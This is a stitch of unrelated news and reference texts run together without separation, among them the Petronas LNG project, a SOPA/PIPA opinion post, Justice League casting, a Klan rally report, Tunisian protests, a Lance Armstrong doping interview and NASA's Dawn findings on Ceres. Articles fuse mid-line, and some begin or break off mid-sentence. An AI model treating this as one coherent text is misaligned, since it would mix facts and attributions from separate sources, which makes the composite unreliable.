Petronas is leading the Pacific Northwest LNG project near Prince Rupert, B.C. The company holds a 62 per cent stake in the project.
Its partners include China's Sinopec with a 15 per cent stake, Japex Montney with 10 per cent, Indian Oil Corp. Ltd. with 10 per cent and PetroleumBrunei with three per cent.
Pacific Northwest LNG is one of several projects that various companies have been considering as a way to export natural gas by tanker from the West coast.
The B.C. government proposed earlier this year a two-tier LNG tax on income from liquefaction of natural gas at facilities in B.C.
Petronas bought Progress Energy Corp. in 2012 in a deal that was closely scrutinized by Ottawa.Major Media Owning SOPA/PIPA Supporters Whine That They Had No Way To Have Their Message Heard
from the oh-come-on dept
"You've got an opponent who has the capacity to reach millions of people with a click of a mouse and there's no fact-checker. They can say whatever they want."
“It’s very difficult to counter the misinformation when the disseminators also own the platform.”
We've been pointing out that one of the big reasons why the MPAA/RIAA and others failed in their efforts to rush through SOPA/PIPA was that they have been totally and completely tone deaf to what's happening online. And it appears that's continuing. The LA Times had a bizarre article over the weekend, where people were suggesting that the MPAA needed to "do a lot of test messaging," to see what would work in convincing the public that censoring the internet is a good thing.? Seriously?!? They still seem to think that this is about a lobbying or PR campaign, rather than actually engaging and hearing what people have to say.Even more ridiculous is the new talking point that both the MPAA and the RIAA are apparently "test messaging" currently. And it's that they -- who own all of the major media outlets around -- are somehow at a disadvantage in communicating their views to the public. I'm not kidding. In that article above, Chris Dodd from the MPAA is quoted as saying:Yup, that's the new MPAA talking point: "if only you moron internet kids couldn't actually say what you want!" Does anyone actually brief Dodd about how bestto make it totally transparent that he wants to censor the internet?But the RIAA is passing along the exact same message. Dodd's counterpart at the RIAA, Cary Sherman, is quoted as saying basically the same thing in the NY Times:First of all, this is ridiculous on all sorts of levels. Was it true that some of those against the bill weren't completely up on the facts? Yes. But, lots of us were clear on our facts, cited specific language in the bill, and were quick to correct those who stated things that were incorrect.But much more to the point: we're talking about all of the major media companies in the world who were in support of this thing, and they're seriously claiming that they? Who the hell do they think they're fooling? They own all the major TV networks, all the cable news networks, the majority of top magazines, a bunch of top radio stations... and most of those media outlets refused to give critics of these bills the time of day. But suddenly they're claiming they couldn't get their message out? Give me a break.Even worse, let's compare the two platforms: SOPA/PIPA supporters completely own TV. But TV is a broadcast medium. They could put on whatever propaganda they wanted, and there'd be no way to guarantee a right to a response on TV. The internet, however, is a communications medium, where anyone can take part. So unlike the reverse situation, the supporters of the bill hadto counter the claims of people online if they felt they were being misrepresented. The real problem was that, for the most part, they weren't being misrepresented. The problem was that people were saying what the bill would actually do, and Hollywood wanted people to focus on what they wanted people to believe the bill would really do. Reality, it seems, has a strong anti-Hollywood bias.
Filed Under: cary sherman, chris dodd, copyright, marketing, media, message, pipa, protect ip, sopa, test marketing
Companies: mpaa, riaaAssuming next month's Justice League movie is a success, more DCEU movies are a given, which will include Justice League sequels.
Speaking with Total Film Magazine, J.K. Simmons confirms more Justice League movies are currently in development ahead of the November release of the first film.
Total Film questions J.K. Simmons about being seriously pumped up (see the image below) and what can we expect from his Commissioner Gordon in Justice League, which sees J.K. Simmons confirm a script for Justice League 2 is being worked on:
"Well, Commissioner Gordon wears a trench coat in every scene, so I don't know that the 'pumped up' part is going to be all that evident, especially when you're standing next to Batman! But this is the first Justice League movie - we hope - of a few. They're working on scripts for The Batman and for the next Justice League movie. It introduces my incarnation of Commissioner Gordon. I don't have a lot to do. I feel like I just dipped my toe in the water of who Commissioner Gordon will be."
JK Simmons is also asked about getting to switch on the Bat Signal:
That's an iconic thing, and obviously there are some very big shoes that I'm attempting to step into. Some really, really wonderful actors have played that part before. It's like all of a sudden everyone in London is doing Hamlet. Now it's my turn to be Gordon.
Justice League has a November 17, 2017 release directed by Zack Snyder, with the story by Chris Terrio and Zack Snyder, the screenplay by Chris Terrio and Joss Whedon, and stars Ben Affleck as Batman, Henry Cavill as Superman, Gal Gadot as Wonder Woman, Jason Momoa as Aquaman, Ezra Miller as The Flash, Ray Fisher as Cyborg, J.K. Simmons as Commissioner Gordon and Willem Dafoe an Atlantean, Nuidis Vulko.
Fueled by his restored faith in humanity and inspired by Superman’s selfless act, Bruce Wayne enlists the help of his newfound ally, Diana Prince, to face an even greater enemy. Together, Batman and Wonder Woman work quickly to find and recruit a team of metahumans to stand against this newly awakened threat. But despite the formation of this unprecedented league of heroes—Batman, Wonder Woman, Aquaman, Cyborg and The Flash—it may already be too late to save the planet from an assault of catastrophic proportions.A laconic phrase or laconism is a concise or terse statement, especially a blunt and elliptical rejoinder. [1] [2] It is named after Laconia, the region of Greece including the city of Sparta, whose ancient inhabitants had a reputation for verbal austerity and were famous for their blunt and often pithy remarks.
Theater of ancient Sparta with Mt. Taygetus in the background
A laconic phrase may be used for efficiency (as in military jargon), for emphasis, for philosophical reasons (especially among thinkers who believe in minimalism, such as Stoics), or to better deflate a pompous individual.
A prominent example involves Philip II of Macedon. After invading southern Greece and receiving the submission of other key city-states, he turned his attention to Sparta and asked menacingly whether he should come as friend or foe. The reply was "Neither."[3]
Losing patience, he sent the message:
You are advised to submit without further delay, for if I bring my army into your land, I will destroy your farms, slay your people, and raze your city.[4]
The Spartan ephors again replied with a single word:
Subsequently, neither Philip nor his son Alexander the Great attempted to capture the city.[note 1]
In humor Edit
The Spartans were especially famous for their dry, understated wit,[7] which is now known as "laconic humor". This can be contrasted with the "Attic salt" or "Attic wit" – the refined, poignant, delicate humour of Sparta's chief rival, Athens.[8]
Various more recent groups also have a reputation for laconic humor: Icelanders in the sagas,[9] and in the Anglophone world, Australians (cf. Australian humor),[10][11][12] American cowboys,[13] New Englanders,[14] and people from the North of England.[15]Klan members gathered in Patrick County Saturday, protesting "radical Islamic terrorism" and several other topics.
The photo above this article is from Main Street in Stuart.
One of the attendees called WDBJ7 and said he's a member of the Rebel Brigade Knights of the True Invisible Empire, based out of Martinsville.
He says this is an event that's put together every two to three years. This time around a group based out of Maryland took the lead.
The Patrick County Sheriff's Office declined to comment but said they were aware of the gathering.
Attendees said this is not about race, it's about "protecting all Americans."
They hope to have another rally in Botetourt County in the future.
The Southern Poverty Law Center lists the organization as an active hate group.It was William Martin Murphy who emerged as the real victor of the revolutionary Ireland of 100 years ago. Not Patrick Pearse, James Connolly, James Larkin or even Michael Collins. For it was Murphy who defined the ethos of the new Ireland, not the others, although Michael Collins might have done his bit to consolidate the Murphy legacy had he lived.
As with many “capitalist ogres” there was an ordinariness and decency about the man. He was born on January 6th, 1845, in Castletownbere, Co Cork, son of a building contractor. He was educated by the Jesuits in Belvedere College, the alma mater of many another capitalist ogre.
He began his business career in Cork, “a sober young man, a practising Catholic with a social conscience” (according to his biographer, the Jesuit Thomas J Morrissey), and an active member of St Vincent de Paul Society. He married happily and well, which facilitated his business career as his father-in-law was well-connected. He moved to Dublin where he acquired a fine residence in Dartry. He became president of the Rathmines and Rathgar Musical Society, captain of Milltown Golf Club and a member of one of the fine yacht clubs of Kingstown (now Dún Laoghaire).
His interests stretched to Britain, Portugal and South America, but his main business centre remained Dublin. According to his biographer he was then a “rare phenomenon, a successful Irish Catholic businessman”. His interests included trams, department stores, hotels, and, crucially, Independent Newspapers.
He was elected to Westminster in 1885. He took the anti-Parnell side in the Irish Parliamentary Party split of the early 1890s and, as a consequence, lost his Westminster seat in 1892 to a mere victualler, William Field.
He was offered and refused a knighthood, defiant even in the presence of King Edward VII in Dublin in 1907.
He professed to be a just and paternal employer. He urged his fellow employers: |
and live ammunition to disperse demonstrators
The stench of tear gas again filled the main shopping street in Tunis on Saturday, our correspondent said.
The trouble flared very suddenly - people out shopping found themselves caught up in the confrontation, women carrying heavy bags running for cover with handkerchiefs clutched to their mouths, he added.
Several members of the security forces ran into the lobby of a hotel, yelling at startled customers drinking coffee to return to their rooms or leave the hotel immediately, he said.
The interim government of PM Mohammed Ghannouchi, who had served under ousted President Ben Ali since 1999, has promised elections by mid-July.
Although Mr Ghannouchi has introduced some reforms and removed a number of controversial cabinet members, protesters remain angry that figures from Mr Ben Ali's authoritarian government remain in the interim cabinet.BOSTON -- Asked if he expected Marcus Smart to be especially motivated for Monday's game in Brooklyn after being suspended for Sunday's overtime loss to the Detroit Pistons, Boston Celtics guard Evan Turner was particularly blunt.
Jim Davis/The Boston Globe/Getty Images
"Obviously, as a team, he owes us one," said Turner. "I think we’re all motivated."
Turner wasn't being hostile, just brutally honest. The Celtics are fighting for a postseason berth and Smart's absence was painfully noticeable as Boston let a win slip away against the Pistons.
Smart served a one-game ban Sunday after delivering an uppercut to the groin of San Antonio's Matt Bonner during Friday's loss to the Spurs. Smart got snagged coming off an initial screen, but seemed to intentionally swing his arm to strike Bonner as the San Antonio forward attempted to set a second screen. Smart was assessed a flagrant-2 and ejected from that game; the league added a one-game suspension on Saturday.
"I thought [the suspension] was predictable, so I’m not really surprised," said Celtics coach Brad Stevens. "Hopefully it’s an isolated incident and we move on from it. I felt like, after watching it again... it's clearly an unacceptable play. As I said the other night, it's as simple as that."
Smart has now been assessed two flagrant-2 fouls this month and is dangerously close to another one-game ban that will come if he commits another flagrant-2 before the end of the regular season. The NBA assigns points for flagrant fouls -- one for the more minor flagrant-1 and two for flagrant-2 -- and players are suspended after reaching five points in a season.
Smart, the No. 6 pick in June's draft, has proven to be an agitator on the court and plays full tilt, which has contributed to his flagrant troubles. He was trying to draw contact on a drive to the hoop when he elbowed fellow rookie Elfrid Payton in the head and drew his first flagrant-2 earlier this month.
Stevens believes Smart will learn from Friday's incident.
"I don’t have a concern, other than he’s up to four [flagrant] points and he’s going to have to be -- you gotta be able to balance that [competitive] spirit with doing the right thing, and he will," said Stevens. "He will."
Stevens was asked if he's worried about Smart developing a reputation for plays like Friday's low blow that could leave him susceptible to increased scrutiny from officials.
"Sure, but I think he’s still young enough where he has to be aware of that," said Stevens. "But he also has to just continue growing and doing the right thing all of the time, right? What we love about Marcus is his competitive nature, his competitive spirit. But he has to handle that situation better, there’s no question about that."
Stevens said he addressed the issue with Smart, but noted there wasn't much to discuss. The coach's focus shifted to playing Sunday's game without Smart.
"He realizes it impacts the team when he’s not on the court any more," said Stevens. "At the same time, I’ll let him say whatever he feels like saying. From our standpoint, it was unacceptable and the punishment is what it is."
Jonas Jerebko, acquired at last month's trade deadline, but one of the more veteran players in the Celtics' locker room, said he talked to Smart about the incident as well.
"I just told him that he’s one of our most important players and he’s young, but you have to think about what you do out there and be smart," said Jerebko. "Like I said, I haven't seen the play, I was the one switching out [to defend Smart's man], so I didn’t really see that either. If the NBA suspends you for one game, you did something wrong. I told him that we really need him, there's only [14] games left, and you have to keep your head cold and play out the games. That's basically what I told him."
Turner can't beat the buzzer
The Celtics put the ball in Turner's hands in a tied game with 17 seconds to play in regulation on Sunday, but he couldn't generate a quality final shot.
After dribbling the clock down to 5 seconds, Turner attempted to drive down the right side of the lane while Avery Bradley and Kelly Olynyk cleared space. Turner got all the way to the baseline, but lost control of the ball trying to go up over Reggie Jackson and the ball floated harmlessly above the pair until time expired, forcing an extra session.
Turner noted he was trying to put a little extra arc on his shot to get it over Williams (as well as Andre Drummond and Tayshaun Prince coming with help), but lost control of the ball.
"We just wanted to do a little misdirection for Evan to drive and let him create space," said Stevens. "I thought, if he gets that shot off, that’s his shot. I felt good about it, to be honest. It didn’t end well because it got knocked out of his hand or maybe it even slipped out of his hand -- I haven’t seen the replay. I thought he had separation and I thought he was going to get a good look. When the clock was winding down, I felt pretty good about our chances."
The Pistons scored the first seven points of overtime and led by as much as 11 in the extra five minutes.
The Butler Way
Stevens admitted he stayed up late on Saturday night to watch the Butler-Notre Dame thriller in the NCAA tournament.
That, too, didn't end the way the coach would have preferred in an extra session.
"It was a great game," said Stevens. "First of all, hats off to Notre Dame, they played great. I thought Butler represented everything that’s great about Butler basketball."The inventor of 'The Liberator' plastic firearm believes in an open future and the 'complete explosion' of all gun law
Cody Wilson is a polite, 25-year-old law student at the University of Texas in Austin, with dark, close-cropped hair and a forward, affable charm. This week he plans to release the blueprint for a gun that can be downloaded from the internet and produced using a 3D printer.
He and his friends have spent almost a year developing the Liberator, a "Wiki weapon" that can be assembled from components made on an $8,000 (£5,150) printer that they bought on eBay. Using files shared online, the machine creates the solid parts from layers of plastic.
Wilson's group, Defense Distributed, thinks everyone should have access to a gun and is working to make it possible through Defcad.org, a depository for weapons designs. It was set up in December after its files were removed from another site following the Sandy Hook elementary school shootings. In March, Wilson was issued a federal firearms licence, allowing him to make guns legally.
"I come from a typical middle class family, for the United States in the south: religious parents, conservative values, though we didn't own a lot of firearms," he says. "We had one shotgun that we never really used."
The Liberator, Wilson's 3D-printable gun
Despite buying a shotgun shortly after turning 21, Wilson says it was his studies, first as an English literature major, then as a law student, that started his interest in the politics of weapons ownership. "I read [19th-century French anarchist theorist Pierre-Joseph] Proudhon," he says, "I like Jean Baudrillard. I like their critiques of mass culture."
He admits that, given current technology, printing a gun is the least effective way of obtaining a firearm, and that it is easier to simply fashion a gun from the contents of any hardware store.
Yet he half hopes, half believes that soon, thanks to the convergence of file-sharing and 3D printing, there will come about "a complete explosion of all available gun laws. I think we should be allowed to own automatic weapons; we should have the right to own all the terrible implements of war, as [American political philosopher] Tench Coxe said, and I think this principle probably applies globally."
A self-described child of the internet age, Wilson is an admirer of Julian Assange and Kim Dotcom. "I number myself among them, at least in spirit," he says. "I think the future is openness to the point of the eradication of government. The state shouldn't have a monopoly on violence; governments should live in fear of their citizenry."
His ambitions don't stop at firearms. Ultimately, he wants to turn Defcad into "the world's first unblockable open-source search engine for all 3D printable parts", a Pirate Bay-style archive not only for printable pistols, but for everything from prosthetic limbs to drugs and birth-control devices.Whatever happened to the health debate?
Posted
Debates over health policy often get bogged down in details about who is responsible for what. That's partly why Labor seems happy with its health policy as it stands while the Liberals would prefer to talk about the carbon tax and boats, writes Greg Jericho.
This is one of a series of articles looking at issues relating to care in our communities in the lead up to the 2013 federal election. More coverage can be found at the ABC's election website Australia Votes.
A funny thing happened on the way to this year's election: health and hospitals stopped being an issue.
In pretty much every survey done on the issues voters are most concerned about, health gets in the top three (usually with the economy and education).
As such, you would expect multiple visits to hospitals by the leaders. And yet, apart from the NDIS, it has hardly raised its head.
Think back to 2007, when health was so vital that then prime minister John Howard's decision for the Federal Government to take over the Mersey Hospital in Tasmania was seen as either a political masterstroke or a sign of desperation. Mr Howard even tried to get social-media friendly by announcing the takeover on YouTube.
Back then Kevin Rudd as leader of the opposition was pledging to fix the health system or have a referendum on federal control of hospitals - a promise that thankfully was not carried through as it would have most likely ended with the usual fate of referenda in this country.
This year, however, Labor seem happy with what they have, and the Liberal Party seem desperate to not let health get in the way of talk of the carbon tax and boats.
One of the reasons for this is that because of state and federal funding, any discussion on health policy generally becomes a pretty dull (for voters) exercise of determining who is funding what and who is responsible for which problems.
And so you get exchanges such as this one between Tanya Plibersek and Peter Dutton when they appeared on Q&A in April:
PETER DUTTON: Well, Tony, I think it's worth just looking at a couple of the facts. The fact is that despite funding commitments elective surgery times have blown out. That's a reality when you look at the picture across the country. TANYA PLIBERSEK: Well it's not across the country, Peter. PETER DUTTON: They've blown out from 34 to 36 days since 2007-8. TANYA PLIBERSEK: No, they've actually reduced. PETER DUTTON: The other important issue just in terms of your... TONY JONES: Well, the Minister said you're completely wrong. She says they've reduced so where are your figures? Where are your figures? TANYA PLIBERSEK: The difficulty is you throw in places like Victoria, where they've blown out by 20 per cent. Victorians are having a bad experience but nationally we're doing better with elective surgery and from state to state we see variations.
Well yes, we do see variations. Since 2007-08 median elective surgery waiting times have increased in NSW, Victoria, Queensland and Tasmania, but reduced in South Australia, ACT and the Northern Territory. Overall, however, Dutton is right - the median waiting time for elective surgery has increased from 34 days to 36. Whether this is a "blowout" is another thing.
But if you like using statistics to tell your own version of the truth, forget economics: health is by far the champion. For example you can also gauge elective surgery by what percentage of patients have to wait over a year. On this measure things look better (or less worse) except if you live in NSW:
So you can talk about health policy and find good and bad evidence in the same area. And that's before we even get to arguing over funding and whether or not a cut is a cut.
If there is one area that the introduction of fact checkers will be most welcome this election time, it is health. We all have a vague understanding of whether for example unemployment is higher or lower than it was previously, but unless you want to wade through numerous health reports you will not have much of an understanding of whether things have improved (and even then you will likely have little idea of why).
Health perhaps more than any other area is judged by one's personal experience. We might have a job but we can still have an understanding of whether or not the economy is doing well. We might even realise that things are better in Western Australia than they are in South Australia, and even understand why that might be the case. But when you're sitting in an emergency waiting room in Adelaide you don't really know if things are better or worse for someone sitting in a waiting room in Perth (and in 2011-12, you were better off being in Adelaide):
All this confusion would suggest a nice area for policy development.
But while (not surprisingly) the Government thinks its current policy is the way forward, the Opposition hasn't quite yet come to the party.
In its Real Solution document, Health Policy comes in at number 16 out of its 21 sections. For the most part it is a hodgepodge of statements lacking hard promises and only one actual solid policy of providing $35 million to help find a cure for Type 1 Diabetes.
It also includes a pledge to "strengthen Medicare and take pressure off the hospital system by restoring the Private Health Insurance Rebate as soon as we possibly can". Given there is no evidence that the means testing of the PHI Rebate has had any impact on private health membership (numbers have actually increased), I suspect that "as soon as we possibly can" will get more vague (if such a thing is possible).
Recently Tony Abbott held a doorstop in which he announced a policy to streamline the application process for medical research grants, which is a worthwhile policy and appears to follow that recommended in the Strategic Review of Health and Research released by Minister Plibersek in April.
On other aspects there has been a fair bit of shuffling. This time last year Peter Dutton was threatening to abolish Medicare Locals, and yet now he seems more interested in reviewing the situation. But he did suggest on Q&A that "I think we will have a superior proposal to that which Labor has on the table at the moment and we're working with people across the sector to deliver that policy."
Last month he also told the Financial Review that he has "a cracker" of a policy on the way. I guess it's so good they just don't want to spoil it by telling voters what it is. And so we must continue to wait to see if the policy they come up with is a cracker or just cracked. Till then we can assume the Liberal Party is happy for it not to be a priority.
Greg Jericho writes weekly for The Drum. His blog can be found here. View his full profile here.
Topics: health-policy, health, federal-elections, federal-governmentThe NFL announced its full draft order Tuesday morning, confirming what the Chicago Bears already knew: They own five of the first 127 selections.
The Bears have nine picks total. If they use each to select a player, that would be their most since 2009.
They have picks Nos. 11 overall (first round), 41 (second), 72 (third), 107 (fourth), 127 (fourth, from New England Patriots), 150 (fifth), 185 (sixth), 206 (sixth, from Carolina Panthers) and 230 (seventh.)
General manager Ryan Pace has touted this year’s class as “strong” overall and has made a concerted effort to accumulate picks. Whether he continues to package picks and trade them to move up or down in certain rounds remains open-ended.
The fourth-rounder from the Patriots was part of the Martellus Bennett trade, and the sixth-round pick from the Panthers was acquired in exchange for defensive end Jared Allen.
The draft is April 28-30 in Chicago.This article was amended on Thursday November 20 2008
A sentence has been removed. Furthermore, we apologise to Betsy Andreu for comments made about her in this interview. She has asked us to clarify that, while evidence that she gave in proceedings about an insurance claim brought by Lance Armstrong is disputed, she honestly recounted what she believed she had heard.
The sweat is still drying on Lance Armstrong's gaunt face when, with sunken eyes as blue as the cloudless sky, he sweeps through the front door of his home in the secluded hills of Austin, Texas. Armstrong offers a hand while balancing a pile of training gear on his arms. "Sorry, I'm late," he says. "It's been a busy day."
He disappears as quickly as he arrived and I slide back on to the plush sofa of the vast room where I've been waiting. Huge paintings of minimalist pop art hang on the walls. Ed Ruscha's Speed Racer and Safe and Effective Medication echo the backdrop of cycling, cancer and doping allegations which have made Armstrong one of the world's most famous but controversial sportsmen.
An elegant woman drifts past to check whether I need another sparkling water. The temptation is to mumble that a definitive dollop of truth would suffice for no other athlete divides the planet like Armstrong. He could be the greatest sportsman of all time, an epic and courageous figure who overcame cancer to win seven straight Tour de France titles from 1999 to 2005. In the alternate view, however, he simply cheated his way to victory with performance-enhancing drugs.
The ferocious split between believers and critics was illustrated when I canvassed the experts before arriving in Austin. I barely had to mention Armstrong's name to be assailed by a furious response from European journalists who had covered his exploits for years. "Horror-show" and "disgrace" were two of the milder terms of denigration. And yet, interviewing Bradley Wiggins in September, I was taken aback by the Olympic champion's delight just a few days after Armstrong announced his comeback. Wiggins, whose vehement stance against doping has long been enshrined, appeared an unlikely ally of Armstrong. So who do you believe? A maverick racer like Wiggins or a coterie of specialist reporters?
"I don't care who you believe," Armstrong drawls. We sit at a big round table, in touching distance of his seven blue Tour titles on the bookshelf, while Armstrong hunches over a bowl of soup and a cup of green tea. "I understand people in France and in cycling might have that perception but the reality is that there's nothing there. The level of scrutiny I've had throughout my career from the press and the anti-doping authorities is unmatched. I'm not afraid of anything. I've got nothing to hide. There are seven cups in this room because of my hard work. This next year won't be any different - even if people hate to hear that. I'm going to be focusing on every aspect of the bike, the team, the strategy, the training, the hard work, the sacrifice. There are no secrets. To the critics I would say, believe it or not, there are exceptional athletes out there. Michael Phelps... Paula Radcliffe..."
But neither Phelps nor Radcliffe has been engulfed by swaths of circumstantial evidence, or links to proven drug cheats. "There has been a fair amount of suspicion around me, and a hell of a lot of suspicion around cycling. If the guys who finished second, third and fourth behind Phelps were all busted then people would say, 'Hey, wait a minute. He beat 'em all - how the hell is that possible?'"
Armstrong nods meaningfully, conceding why there are such doubts about him. The last time he stood on the podium in Paris, in 2005, he said he felt "sorry" for all the poor saps who doubted him and the integrity of the Tour. And yet the two men who shared his podium were both exposed as dopers. What did he think when Ivan Basso and Jan Ullrich were busted?
"Egg on my face," Armstrong says softly. "But look at the Brits on the track this year - absolutely outstanding. And still the head of French cycling said their performance 'is not possible'. Give me a break. Bradley Wiggins is the best fucking pursuiter of all time. I don't think he cheated. So if I could talk to your cycling buddies I would say, 'Just fucking relax. We're not talking about God. We're not talking about war. We're not talking about you losing every dime you had. We're talking about bike-racing'."
Yet we are talking about doping. Three years ago L'Equipe published their claim that a sample of Armstrong's urine from the 1999 Tour had been retested and found to contain traces of EPO. They published their apparent exposé under a banner headline of "The Armstrong Lie". "I remember the call. This house was still under construction and I was in the backyard with the contractor. At the time I thought, 'OK, whatever' - even if it was a big 'whatever'. There was hysteria and they got this big independent commission to investigate.
"Cycling, like the world, is very divided. One side finally said, 'OK, the independent commission cleared him so we're moving on'. The other side said, 'I don't believe the independent commission'. But the report was very clear and we were ready to go to the international tribunal with the lab, with Wada [the World Anti-Doping Agency] and the French government - and they declined. Now they come back and say 'OK, we'll now let you test those samples to prove your innocence'."
Armstrong pushes his cup towards me. "Here's your sample," he says, "and the lid is now off it. Something might have been put in it and your life, your credibility depends on it, but now I put the lid back on. Now we come and test it. Nobody in their right mind would take that test. The commission cleared me and L'Equipe itself said, 'The athlete in question has no way to defend himself'. I'm all for drug controls but if the athlete cannot defend himself, what kind of kangaroo court is that?"
Setting aside the possibility of tampered evidence Armstrong's first sample contained a residue of EPO - a fact he explains away by arguing that he used a cream for saddle sores during his first Tour win without any knowledge that it included a banned substance. Various other people also claim that he admitted to past doping.
Is Emma O'Reilly, his former physiotherapist on the US Postal team, simply a liar - she claimed that Armstrong had asked her in 1998 to dispose of a bag of syringes containing EPO? "We all know the names. Emma O'Reilly, Steven Swart [his former team-mate who admitted using EPO], David Walsh [the respected Sunday Times journalist and author of LA Confidential: The Secrets of Lance Armstrong] and Prentice Steffen [an ex-professional cyclist who told L'Equipe that "the bad guys, like Armstrong, dope"]. We sued David Walsh in the high court and won. The prosecutor in Paris opened a federal investigation and we were completely cleared. We had another arbitration case in Texas and were vindicated again."
Betsy Andreu, whose husband Frankie raced with Armstrong, claims she heard the cyclist tell doctors treating him for cancer that he had taken performance-enhancing drugs. "Her husband lived, trained and raced with me and he said, under oath, 'I have never seen Lance take performance-enhancing drugs'."
Armstrong's past links with Dr Michele Ferrari, the Italian physician charged with various doping offences, are more damaging. "Yeah - but more was made of that relationship than existed. And I'm not going to kick a family friend out of my life. There are those relationships but look at the real data. Nobody had more scrutiny than me."
As part of his mission to prove himself clean on his return Armstrong will be tested daily by Don Catlin, an independent analyst, who will post his results online. But trouble continues to brew. "I don't want to enter an unsafe situation but you see this stuff coming out of France. There're some aggressive, angry emotions. If you believe what you read my personal safety could be in jeopardy. Cycling is a sport of the open road and spectators are lining that road. I try to believe that people, even if they don't like me, will let the race unfold."
Does he fear being violently attacked on next year's Tour? "Yeah. There're directors of French teams that have encouraged people to take to the streets... elbow to elbow. It's very emotional and tense."
There is also something compulsive about Armstrong's comeback, which can be seen both in his craving to succeed and the fascination surrounding his tilt against the odds. Comparing his fitness at this stage of the season with past years he insists: "I'm much better physically now. And mentally there is no comparison. I'm far stronger and more motivated. The motivation of 2008 feels like the motivation of 1999. I was back from cancer then. I had the motivation of vengeance because nobody wanted me or believed in me."
Nine years later Armstrong sounds more vulnerable than vengeful. "I have anxiety and insecurity about being 37. Let's not forget I'm the oldest tour winner in modern cycling history and that was four years ago. But that nervousness makes me work even harder. We're doing a training camp in December in Tenerife and another in California with big climbs. Normally I wouldn't smell a mountain until February so I'm starting early."
Armstrong will begin the new year in Australia before he returns for the Tour of California and more racing in France and Switzerland, followed by his debut in the Giro d'Italia. "I regret not riding the Giro before. But their 100th anniversary and starting in Venice and finishing in Rome made it irresistible. That's the beauty of this comeback. You lay out different scenarios in your head. What if you won the Tour again? Or the Giro? Or if you won them both? Or you lost them both? You lay it all out and I'm still up for it."
Armstrong suggests that running marathons led to him agreeing to get back on his bike in the 100-mile Leadville Trail in August, the day his comeback began. "Leadville climbs 12,500 feet and I felt good the first six hours. It was only in the last hour I ran out of fuel because I hadn't done enough miles. But I finished just behind Dave Wiens, a former world champion whose whole season revolves around that race."
For a man who has often said losing is akin to dying, Armstrong looks briefly satisfied with that second place. But, deadly serious on the bike again, and beyond the claim that he is aiming mainly to raise money for his cancer foundation, Armstrong is plainly chasing an eighth Tour victory. "When people have cancer it's black and white - they live and they win. They lose and they die. I take that same mentality into sport - to win. My friends on the team were always quite surprised that I wasn't that excited to win. They'd say: 'Aren't you excited? You just won the Tour de France for the seventh time?' I was 'Yeah, it's pretty cool'. It would have been very different if I had lost. But now if I'm able to win again, any race, it might be different this time round. We'll see."
For more information about the Lance Armstrong Foundation, which unites people fighting cancer and provides practical information and tools for those fighting the disease click here.NEW ORLEANS -- Geno Auriemma shook his head in amazement. With all the incredible players he has coached, he couldn't remember a better effort than the one Breanna Stewart had against Notre Dame.
Not with what was on the line.
The stellar freshman scored a career-high 29 points to go with four blocks and was seemingly everywhere in leading the Huskies back to the national championship game with an 83-65 win over the Fighting Irish -- their nemesis of late -- on Sunday night.
"Given the stage, and what was at stake I don't know that I've seen any bigger performance," Auriemma said. "I know there's been NCAA tournament games that we've had certain individuals play great, but I don't remember a player having a better game in this environment."
The Huskies will face Louisville in the title game Tuesday night, and it will be an all-Big East affair after the Cardinals rallied to beat California 64-57 in the other semifinal. UConn will be going for its eighth national championship to match Tennessee for the most in women's basketball history.
No team has dominated Auriemma's Huskies the way that the Irish had over the past few seasons. UConn (34-4) had lost the previous two national semifinals to the Irish and dropped three thrilling games this season to their rival.
Stewart and her teammates wouldn't let it happen again, ending the brilliant career of Notre Dame guard Skylar Diggins. She finished her last college game with 10 points, going a dismal 3 for 15 from the field.
"Don't cry because its over; smile because it happened! Thank you so much to all of my fans for your support! I love you so much!" Diggins tweeted following the game.
The Huskies built a 10-point halftime lead playing incredible defense and Notre Dame (35-2) could only get within six in the second half as its school record 30-game winning streak came to an end.
"Once you get here you're only going to beat great teams. And the reason Notre Dame has beaten us seven of the last eight times is because they're really, really good," Auriemma said. "For one night, that's what's great about the NCAA tournament, for one night, for just this night, we just needed to be better than them, and we were."
The Huskies and Irish have developed one of the best rivalries in women's basketball over the past few seasons, and this game might have been the final chapter between the two with Notre Dame headed to the Atlantic Coast Conference next season.
Two years ago, the Huskies won the first three meetings before Notre Dame shocked them in the national semifinals. Notre Dame had won seven of the previous eight meetings before Sunday night and this one, for once, started slowly. Notre Dame went nearly 7½ minutes without a field goal, missing 14 consecutive shots, and neither team led by more than four points for the first 16 minutes.If you could fly aboard NASA's Dawn spacecraft, the surface of dwarf planet Ceres would generally look quite dark, but with notable exceptions. These exceptions are the hundreds of bright areas that stand out in images Dawn has returned. Now, scientists have a better sense of how these reflective areas formed and changed over time -- processes indicative of an active, evolving world.
"The mysterious bright spots on Ceres, which have captivated both the Dawn science team and the public, reveal evidence of Ceres' past subsurface ocean, and indicate that, far from being a dead world, Ceres is surprisingly active. Geological processes created these bright areas and may still be changing the face of Ceres today," said Carol Raymond, deputy principal investigator of the Dawn mission, based at NASA's Jet Propulsion Laboratory in Pasadena, California. Raymond and colleagues presented the latest results about the bright areas at the American Geophysical Union meeting in New Orleans on Tuesday, Dec. 12.
Different Kinds of Bright Areas
Since Dawn arrived in orbit at Ceres in March 2015, scientists have located more than 300 bright areas on Ceres. A new study in the journal Icarus, led by Nathan Stein, a doctoral researcher at Caltech in Pasadena, California, divides Ceres' features into four categories.
The first group of bright spots contains the most reflective material on Ceres, which is found on crater floors. The most iconic examples are in Occator Crater, which hosts two prominent bright areas. Cerealia Facula, in the center of the crater, consists of bright material covering a 6-mile-wide (10-kilometer-wide) pit, within which sits a small dome. East of the center is a collection of slightly less reflective and more diffuse features called Vinalia Faculae. All the bright material in Occator Crater is made of salt-rich material, which was likely once mixed in water. Although Cerealia Facula is the brightest area on all of Ceres, it would resemble dirty snow to the human eye.
› DOWNLOAD VIDEO The Bright Stuff: New NASA Dawn Findings at Ceres
More commonly, in the second category, bright material is found on the rims of craters, streaking down toward the floors. Impacting bodies likely exposed bright material that was already in the subsurface or had formed in a previous impact event.
Separately, in the third category, bright material can be found in the material ejected when craters were formed.
The mountain Ahuna Mons gets its own fourth category -- the one instance on Ceres where bright material is unaffiliated with any impact crater. This likely cryovolcano, a volcano formed by the gradual accumulation of thick, slowly flowing icy materials, has prominent bright streaks on its flanks.
Over hundreds of millions of years, bright material has mixed with the dark material that forms the bulk of Ceres' surface, as well as debris ejected during impacts. That means billions of years ago, when Ceres experienced more impacts, the dwarf planet's surface likely would have been peppered with thousands of bright areas.
"Previous research has shown that the bright material is made of salts, and we think subsurface fluid activity transported it to the surface to form some of the bright spots," Stein said.
The Case of Occator
